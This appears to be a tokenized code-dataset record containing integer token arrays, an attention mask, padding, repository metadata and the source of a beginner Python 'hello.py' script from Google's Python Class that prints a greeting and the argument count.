708, 12, 499, 14, 2898, 12, 378, 14, 2720, 467, 359, 17, 14, 2036, 12, 499, 14, 845, 12, 650, 14, 1355, 12, 841, 14, 1082, 12, 413, 14, 2114, 12, 650, 14, 2658, 12, 378, 14, 16, 12, 499, 14, 2417, 12, 499, 14, 1602, 12, 841, 14, 1342, 467, 359, 18, 14, 969, 12, 413, 14, 17, 12, 499, 14, 1046, 12, 499, 14, 1477, 12, 499, 14, 2466, 12, 650, 14, 708, 12, 499, 14, 2417, 12, 378, 14, 16, 12, 413, 14, 2277, 12, 841, 14, 614, 467, 359, 18, 14, 845, 12, 413, 14, 17, 12, 499, 14, 713, 12, 650, 14, 966, 12, 650, 14, 996, 12, 499, 14, 2898, 12, 499, 14, 1602, 12, 413, 14, 2277, 12, 378, 14, 16, 12, 650, 14, 1641, 467, 359, 19, 14, 23, 12, 650, 14, 2025, 12, 413, 14, 1555, 12, 499, 14, 1651, 12, 650, 14, 2426, 12, 378, 14, 2720, 12, 841, 14, 1342, 12, 841, 14, 614, 12, 650, 14, 1641, 12, 378, 14, 16, 2677, 199, 199, 38, 1277, 275, 4488, 14, 8941, 342, 199, 199, 318, 5954, 63, 7988, 8, 7988, 12, 536, 12, 19888, 1524, 17, 14, 16, 12, 378, 14, 16, 4682, 523, 3164, 275, 413, 14, 16, 340, 19888, 59, 16, 61, 690, 19888, 59, 17, 61, 587, 446, 17, 14, 16, 523, 2203, 275, 980, 14, 4250, 8, 1392, 1524, 1165, 12, 1165, 12, 17, 566, 523, 11021, 63, 88, 12, 11021, 63, 89, 275, 11021, 523, 11021, 63, 88, 63, 2996, 275, 980, 14, 16383, 8, 7988, 63, 88, 9, 523, 11021, 63, 89, 63, 2996, 275, 980, 14, 16383, 8, 7988, 63, 89, 9, 523, 2203, 59, 7988, 63, 88, 63, 2996, 1527, 7988, 63, 89, 63, 2996, 1527, 16, 61, 275, 3164, 819, 5954, 8, 3292, 12, 536, 9, 2043, 199, 199, 318, 5954, 8, 77, 12, 536, 304, 523, 481, 1277, 14, 9694, 342, 819, 3634, 275, 333, 523, 2306, 63, 1392, 275, 980, 14, 1392, 8, 3642, 9, 523, 327, 27332, 314, 3623, 2215, 315, 314, 1284, 402, 2306, 63, 1392, 523, 892, 63, 1392, 275, 2306, 63, 1392, 4439, 17, 61, 16421, 3634, 275, 980, 14, 5217, 8, 3642, 12, 892, 63, 1392, 9, 523, 2185, 275, 481, 1277, 14, 525, 63, 13334, 8, 17, 12, 17, 12, 17, 9, 523, 2185, 14, 409, 63, 18658, 360, 1452, 358, 523, 4488, 14, 20413, 8, 3642, 12, 14046, 534, 16615, 297, 14920, 29, 6003, 14, 4400, 14, 12150, 9, 523, 327, 4488, 14, 20413, 8, 3642, 12, 14046, 534, 16615, 297, 14920, 29, 6003, 14, 4400, 14, 31737, 9, 523, 4488, 14, 30995, 342, 523, 4488, 14, 19556, 8, 354, 9, 199, 199, 318, 5954, 63, 11226, 8, 11226, 12, 536, 304, 523, 2203, 63, 1392, 275, 359, 1165, 12, 3388, 12, 413, 61, 523, 2203, 275, 980, 14, 4250, 8, 1392, 29, 3292, 63, 1392, 9, 523, 367, 15393, 12, 2607, 315, 3874, 8, 11226, 304, 272, 340, 2607, 14, 988, 342, 690, 378, 14, 16, 26, 489, 1305, 2154, 275, 980, 14, 324, 11186, 63, 1080, 8, 2873, 14, 16383, 1062, 2607, 14, 1392, 9, 489, 340, 1305, 2154, 1988, 17, 61, 508, 378, 26, 267, 2203, 59, 344, 2154, 59, 16, 22235, 344, 2154, 59, 17, 2677, 275, 413, 14, 16, 627, 15393, 489, 587, 26, 267, 2203, 59, 344, 2154, 59, 16, 22235, 344, 2154, 59, 17, 2677, 275, 446, 17, 14, 16, 627, 15393, 523, 5954, 8, 3292, 12, 536, 9, 199, 199, 318, 5954, 63, 10898, 8, 88, 63, 3692, 12, 612, 63, 3692, 12, 376, 561, 12, 536, 304, 523, 481, 1277, 14, 9694, 342, 523, 612, 275, 671, 63, 3692, 523, 1315, 275, 612, 63, 3692, 523, 302, 275, 376, 561, 523, 6085, 275, 481, 1277, 523, 2185, 275, 6085, 14, 525, 63, 13334, 8, 17, 12, 17, 12, 17, 9, 523, 2185, 14, 409, 63, 18512, 779, 16, 12, 1165, 566, 523, 2185, 14, 409, 63, 18123, 779, 16, 12, 1165, 566, 523, 2185, 14, 13512, 8, 90, 12, 612, 9, 523, 367, 284, 12, 9444, 315, 3874, 8, 78, 304, 272, 2185, 14, 10898, 8, 2424, 12, 334, 90, 59, 73, 467, 89, 59, 73, 2459, 523, 6085, 14, 19556, 8, 354, 9, 199, 199, 318, 5954, 63, 3446, 8, 3446, 12, 536, 304, 523, 671, 63, 8032, 275, 942, 523, 612, 63, 8032, 275, 942, 523, 22984, 275, 942, 523, 367, 284, 12, 8292, 315, 3874, 8, 3446, 304, 272, 2607, 12, 4572, 275, 8292, 199, 3, 259, 671, 63 ]
[ 2680, 465, 980, 199, 646, 8027, 14, 32538, 465, 4488, 199, 646, 12866, 465, 6118, 199, 199, 504, 8027, 492, 9658, 199, 199, 3, 333, 275, 3474, 16, 14, 16, 12, 413, 14, 2417, 12, 499, 14, 2824, 12, 650, 14, 1602, 12, 413, 14, 2036, 12, 499, 14, 2658, 12, 413, 14, 2036, 12, 499, 14, 969, 12, 499, 14, 845, 12, 650, 14, 23, 467, 359, 17, 14, 2417, 12, 378, 14, 16, 12, 413, 14, 21, 12, 258, 499, 14, 1355, 12, 499, 14, 845, 12, 499, 14, 20, 12, 499, 14, 845, 12, 413, 14, 17, 12, 413, 14, 17, 12, 650, 14, 2025, 467, 359, 18, 14, 2824, 12, 413, 14, 21, 12, 378, 14, 16, 12, 413, 14, 1081, 12, 499, 14, 1876, 12, 413, 14, 1153, 12, 650, 14, 1355, 12, 499, 14, 1046, 12, 499, 14, 713, 12, 413, 14, 1555, 467, 359, 19, 14, 1602, 12, 499, 14, 1355, 12, 413, 14, 1081, 12, 378, 14, 16, 12, 650, 14, 2322, 12, 499, 14, 1081, 12, 841, 14, 1082, 12, 499, 14, 1477, 12, 650, 14, 966, 12, 499, 14, 1651, 467, 359, 17, 14, 2036, 12, 499, 14, 845, 12, 499, 14, 1876, 12, 650, 14, 2322, 12, 378, 14, 16, 12, 650, 14, 969, 12, 413, 14, 2114, 12, 499, 14, 2466, 12, 650, 14, 996, 12, 650, 14, 2426, 467, 359, 18, 14, 2658, 12, 499, 14, 20, 12, 413, 14, 1153, 12, 499, 14, 1081, 12, 650, 14, 969, 12, 378, 14, 16, 12, 650, 14, 2658, 12, 650, 14, 708, 12, 499, 14, 2898, 12, 378, 14, 2720, 467, 359, 17, 14, 2036, 12, 499, 14, 845, 12, 650, 14, 1355, 12, 841, 14, 1082, 12, 413, 14, 2114, 12, 650, 14, 2658, 12, 378, 14, 16, 12, 499, 14, 2417, 12, 499, 14, 1602, 12, 841, 14, 1342, 467, 359, 18, 14, 969, 12, 413, 14, 17, 12, 499, 14, 1046, 12, 499, 14, 1477, 12, 499, 14, 2466, 12, 650, 14, 708, 12, 499, 14, 2417, 12, 378, 14, 16, 12, 413, 14, 2277, 12, 841, 14, 614, 467, 359, 18, 14, 845, 12, 413, 14, 17, 12, 499, 14, 713, 12, 650, 14, 966, 12, 650, 14, 996, 12, 499, 14, 2898, 12, 499, 14, 1602, 12, 413, 14, 2277, 12, 378, 14, 16, 12, 650, 14, 1641, 467, 359, 19, 14, 23, 12, 650, 14, 2025, 12, 413, 14, 1555, 12, 499, 14, 1651, 12, 650, 14, 2426, 12, 378, 14, 2720, 12, 841, 14, 1342, 12, 841, 14, 614, 12, 650, 14, 1641, 12, 378, 14, 16, 2677, 199, 199, 38, 1277, 275, 4488, 14, 8941, 342, 199, 199, 318, 5954, 63, 7988, 8, 7988, 12, 536, 12, 19888, 1524, 17, 14, 16, 12, 378, 14, 16, 4682, 523, 3164, 275, 413, 14, 16, 340, 19888, 59, 16, 61, 690, 19888, 59, 17, 61, 587, 446, 17, 14, 16, 523, 2203, 275, 980, 14, 4250, 8, 1392, 1524, 1165, 12, 1165, 12, 17, 566, 523, 11021, 63, 88, 12, 11021, 63, 89, 275, 11021, 523, 11021, 63, 88, 63, 2996, 275, 980, 14, 16383, 8, 7988, 63, 88, 9, 523, 11021, 63, 89, 63, 2996, 275, 980, 14, 16383, 8, 7988, 63, 89, 9, 523, 2203, 59, 7988, 63, 88, 63, 2996, 1527, 7988, 63, 89, 63, 2996, 1527, 16, 61, 275, 3164, 819, 5954, 8, 3292, 12, 536, 9, 2043, 199, 199, 318, 5954, 8, 77, 12, 536, 304, 523, 481, 1277, 14, 9694, 342, 819, 3634, 275, 333, 523, 2306, 63, 1392, 275, 980, 14, 1392, 8, 3642, 9, 523, 327, 27332, 314, 3623, 2215, 315, 314, 1284, 402, 2306, 63, 1392, 523, 892, 63, 1392, 275, 2306, 63, 1392, 4439, 17, 61, 16421, 3634, 275, 980, 14, 5217, 8, 3642, 12, 892, 63, 1392, 9, 523, 2185, 275, 481, 1277, 14, 525, 63, 13334, 8, 17, 12, 17, 12, 17, 9, 523, 2185, 14, 409, 63, 18658, 360, 1452, 358, 523, 4488, 14, 20413, 8, 3642, 12, 14046, 534, 16615, 297, 14920, 29, 6003, 14, 4400, 14, 12150, 9, 523, 327, 4488, 14, 20413, 8, 3642, 12, 14046, 534, 16615, 297, 14920, 29, 6003, 14, 4400, 14, 31737, 9, 523, 4488, 14, 30995, 342, 523, 4488, 14, 19556, 8, 354, 9, 199, 199, 318, 5954, 63, 11226, 8, 11226, 12, 536, 304, 523, 2203, 63, 1392, 275, 359, 1165, 12, 3388, 12, 413, 61, 523, 2203, 275, 980, 14, 4250, 8, 1392, 29, 3292, 63, 1392, 9, 523, 367, 15393, 12, 2607, 315, 3874, 8, 11226, 304, 272, 340, 2607, 14, 988, 342, 690, 378, 14, 16, 26, 489, 1305, 2154, 275, 980, 14, 324, 11186, 63, 1080, 8, 2873, 14, 16383, 1062, 2607, 14, 1392, 9, 489, 340, 1305, 2154, 1988, 17, 61, 508, 378, 26, 267, 2203, 59, 344, 2154, 59, 16, 22235, 344, 2154, 59, 17, 2677, 275, 413, 14, 16, 627, 15393, 489, 587, 26, 267, 2203, 59, 344, 2154, 59, 16, 22235, 344, 2154, 59, 17, 2677, 275, 446, 17, 14, 16, 627, 15393, 523, 5954, 8, 3292, 12, 536, 9, 199, 199, 318, 5954, 63, 10898, 8, 88, 63, 3692, 12, 612, 63, 3692, 12, 376, 561, 12, 536, 304, 523, 481, 1277, 14, 9694, 342, 523, 612, 275, 671, 63, 3692, 523, 1315, 275, 612, 63, 3692, 523, 302, 275, 376, 561, 523, 6085, 275, 481, 1277, 523, 2185, 275, 6085, 14, 525, 63, 13334, 8, 17, 12, 17, 12, 17, 9, 523, 2185, 14, 409, 63, 18512, 779, 16, 12, 1165, 566, 523, 2185, 14, 409, 63, 18123, 779, 16, 12, 1165, 566, 523, 2185, 14, 13512, 8, 90, 12, 612, 9, 523, 367, 284, 12, 9444, 315, 3874, 8, 78, 304, 272, 2185, 14, 10898, 8, 2424, 12, 334, 90, 59, 73, 467, 89, 59, 73, 2459, 523, 6085, 14, 19556, 8, 354, 9, 199, 199, 318, 5954, 63, 3446, 8, 3446, 12, 536, 304, 523, 671, 63, 8032, 275, 942, 523, 612, 63, 8032, 275, 942, 523, 22984, 275, 942, 523, 367, 284, 12, 8292, 315, 3874, 8, 3446, 304, 272, 2607, 12, 4572, 275, 8292, 199, 3, 259, 671, 63, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
kavi112/google-python-exercises
hello.py
1
1071
#!/usr/bin/python -tt # Copyright 2010 Google Inc. # Licensed under the Apache License, Version 2.0 # http://www.apache.org/licenses/LICENSE-2.0 # Google's Python Class # http://code.google.com/edu/languages/google-python-class/ """A tiny Python program to check that Python is working. Try running this program from the command line like this: python hello.py python hello.py Alice That should print: Hello World -or- Hello Alice Try changing the 'Hello' to 'Howdy' and run again. Once you have that working, you're ready for class -- you can edit and run Python code; now you just need to learn Python! """ import sys # Define a main() function that prints a little greeting. def main(): if len(sys.argv)>4 : sd=len(sys.argv) print 'her',sd else: f=len(sys.argv) print 'say',f # Get the name from the command line, using 'World' as a fallback. if len(sys.argv) >= 2: name = sys.argv[1] else: name = 'World' print 'Hello', name # This is the standard boilerplate that calls the main() function. if __name__ == '__main__': main()
apache-2.0
[ 3381, 2647, 15, 1393, 15, 1548, 446, 6215, 199, 3, 1898, 7129, 4475, 3277, 14, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 199, 3, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 199, 3, 4475, 1159, 2018, 8089, 199, 3, 1455, 921, 600, 14, 3098, 14, 957, 15, 8654, 15, 13209, 15, 3098, 13, 1548, 13, 533, 15, 199, 199, 624, 33, 29128, 2018, 2240, 370, 1104, 626, 2018, 365, 6449, 14, 199, 12357, 3879, 642, 2240, 687, 314, 1414, 1004, 2839, 642, 26, 523, 2366, 16509, 14, 647, 523, 2366, 16509, 14, 647, 437, 3037, 199, 17231, 1077, 870, 26, 523, 23833, 13064, 446, 269, 13, 23833, 437, 3037, 199, 12357, 13729, 314, 283, 6257, 7, 370, 283, 18335, 8161, 7, 436, 1255, 4020, 14, 199, 25690, 1265, 1172, 626, 6449, 12, 1265, 3984, 10144, 367, 1021, 1553, 1265, 883, 5283, 199, 460, 1255, 2018, 1233, 27, 3063, 1265, 2951, 1929, 370, 12537, 2018, 1, 199, 624, 199, 199, 646, 984, 199, 199, 3, 13930, 282, 2446, 342, 805, 626, 14767, 282, 12050, 486, 23457, 14, 199, 318, 2446, 837, 523, 340, 822, 8, 1274, 14, 3020, 13032, 20, 520, 199, 198, 3893, 29, 552, 8, 1274, 14, 3020, 9, 199, 198, 1361, 283, 2523, 297, 3893, 523, 587, 26, 199, 198, 70, 29, 552, 8, 1274, 14, 3020, 9, 199, 198, 1361, 283, 19787, 297, 70, 272, 523, 327, 2372, 314, 536, 687, 314, 1414, 1004, 12, 1808, 283, 15943, 7, 465, 282, 9567, 14, 523, 340, 822, 8, 1274, 14, 3020, 9, 2356, 499, 26, 272, 536, 275, 984, 14, 3020, 59, 17, 61, 523, 587, 26, 272, 536, 275, 283, 15943, 7, 523, 870, 283, 6257, 297, 536, 199, 199, 3, 961, 365, 314, 4465, 1234, 27025, 626, 4882, 314, 2446, 342, 805, 14, 199, 692, 636, 354, 363, 508, 2560, 973, 3706, 523, 2446, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2647, 15, 1393, 15, 1548, 446, 6215, 199, 3, 1898, 7129, 4475, 3277, 14, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 199, 3, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 199, 3, 4475, 1159, 2018, 8089, 199, 3, 1455, 921, 600, 14, 3098, 14, 957, 15, 8654, 15, 13209, 15, 3098, 13, 1548, 13, 533, 15, 199, 199, 624, 33, 29128, 2018, 2240, 370, 1104, 626, 2018, 365, 6449, 14, 199, 12357, 3879, 642, 2240, 687, 314, 1414, 1004, 2839, 642, 26, 523, 2366, 16509, 14, 647, 523, 2366, 16509, 14, 647, 437, 3037, 199, 17231, 1077, 870, 26, 523, 23833, 13064, 446, 269, 13, 23833, 437, 3037, 199, 12357, 13729, 314, 283, 6257, 7, 370, 283, 18335, 8161, 7, 436, 1255, 4020, 14, 199, 25690, 1265, 1172, 626, 6449, 12, 1265, 3984, 10144, 367, 1021, 1553, 1265, 883, 5283, 199, 460, 1255, 2018, 1233, 27, 3063, 1265, 2951, 1929, 370, 12537, 2018, 1, 199, 624, 199, 199, 646, 984, 199, 199, 3, 13930, 282, 2446, 342, 805, 626, 14767, 282, 12050, 486, 23457, 14, 199, 318, 2446, 837, 523, 340, 822, 8, 1274, 14, 3020, 13032, 20, 520, 199, 198, 3893, 29, 552, 8, 1274, 14, 3020, 9, 199, 198, 1361, 283, 2523, 297, 3893, 523, 587, 26, 199, 198, 70, 29, 552, 8, 1274, 14, 3020, 9, 199, 198, 1361, 283, 19787, 297, 70, 272, 523, 327, 2372, 314, 536, 687, 314, 1414, 1004, 12, 1808, 283, 15943, 7, 465, 282, 9567, 14, 523, 340, 822, 8, 1274, 14, 3020, 9, 2356, 499, 26, 272, 536, 275, 984, 14, 3020, 59, 17, 61, 523, 587, 26, 272, 536, 275, 283, 15943, 7, 523, 870, 283, 6257, 297, 536, 199, 199, 3, 961, 365, 314, 4465, 1234, 27025, 626, 4882, 314, 2446, 342, 805, 14, 199, 692, 636, 354, 363, 508, 2560, 973, 3706, 523, 2446, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 